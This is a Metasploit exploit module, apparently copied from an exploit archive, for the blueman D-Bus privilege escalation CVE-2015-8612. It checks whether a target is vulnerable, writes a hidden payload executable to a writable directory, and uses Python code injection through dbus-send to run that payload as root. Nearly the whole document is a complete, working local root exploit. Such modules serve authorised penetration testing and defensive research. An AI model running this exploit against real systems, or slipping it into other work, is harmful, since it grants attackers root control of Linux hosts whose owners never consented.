blueman - set_dhcp_handler D-Bus Privilege Escalation (Metasploit)

2019-01-16 19:05:03

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'blueman set_dhcp_handler D-Bus Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges by exploiting a Python
code injection vulnerability in blueman versions prior to 2.0.3.

The `org.blueman.Mechanism.EnableNetwork` D-Bus interface exposes the
`set_dhcp_handler` function which uses user input in a call to `eval`,
without sanitization, resulting in arbitrary code execution as root.

This module has been tested successfully with blueman version 1.23
on Debian 8 Jessie (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'the grugq', # Discovery and exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2015-12-18',
'References' =>
[
['BID', '79688'],
['CVE', '2015-8612'],
['URL', 'https://twitter.com/thegrugq/status/677809527882813440'],
['URL', 'https://github.com/blueman-project/blueman/issues/416'],
['URL', 'https://www.openwall.com/lists/oss-security/2015/12/18/6'],
['URL', 'https://www.debian.org/security/2015/dsa-3427'],
['URL', 'https://bugs.mageia.org/show_bug.cgi?id=17361'],
['URL', 'http://www.slackware.com/security/viewer.php?l=slackware-security&y=2015&m=slackware-security.421085']
],
'Platform' => ['linux'],
'Arch' =>
[
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['Auto', {}]],
'DefaultTarget' => 0))
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

def base_dir
datastore['WritableDir'].to_s
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end

def upload_and_chmodx(path, data)
upload path, data
chmod path
end

def dbus_send(dest:, type:, path:, interface:, contents:)
cmd_exec "dbus-send --system --print-reply --dest=#{dest} --type=#{type} #{path} #{interface} #{contents}"
end

def check
unless command_exists? 'dbus-send'
vprint_error 'dbus-send is not installed. Exploitation will fail.'
return CheckCode::Safe
end
vprint_good 'dbus-send is installed'

res = dbus_send(
dest: 'org.blueman.Mechanism',
type: 'method_call',
path: '/',
interface: 'org.freedesktop.DBus.Introspectable.Introspect',
contents: ''
)

unless res.include? 'EnableNetwork'
vprint_error 'org.blueman.Mechanism.EnableNetwork D-Bus interface is not available'
return CheckCode::Safe
end
vprint_good 'org.blueman.Mechanism.EnableNetwork D-Bus interface is available'

res = execute_python('')
unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)'
vprint_error 'Target is not vulnerable'
return CheckCode::Safe
end

CheckCode::Vulnerable
end

def execute_python(code)
dbus_send(
dest: 'org.blueman.Mechanism',
type: 'method_call',
path: '/',
interface: 'org.blueman.Mechanism.EnableNetwork',
contents: "'string:[]' 'string:[]' 'string:#{code}'"
)
end

def exploit
unless check == CheckCode::Vulnerable
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end

unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

payload_name = ".#{rand_text_alphanumeric 10..15}"
payload_path = "#{base_dir}/#{payload_name}"
upload_and_chmodx payload_path, generate_payload_exe

print_status 'Executing payload...'
res = execute_python "os.system(\"#{payload_path}&\")"
vprint_line res

unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)'
fail_with Failure::NotVulnerable, 'The target is not vulnerable'
end

if res.include? 'SyntaxError:'
fail_with Failure::Unknown, 'Payload execution failed due to syntax error'
end
end
end

Fixes

No fixes

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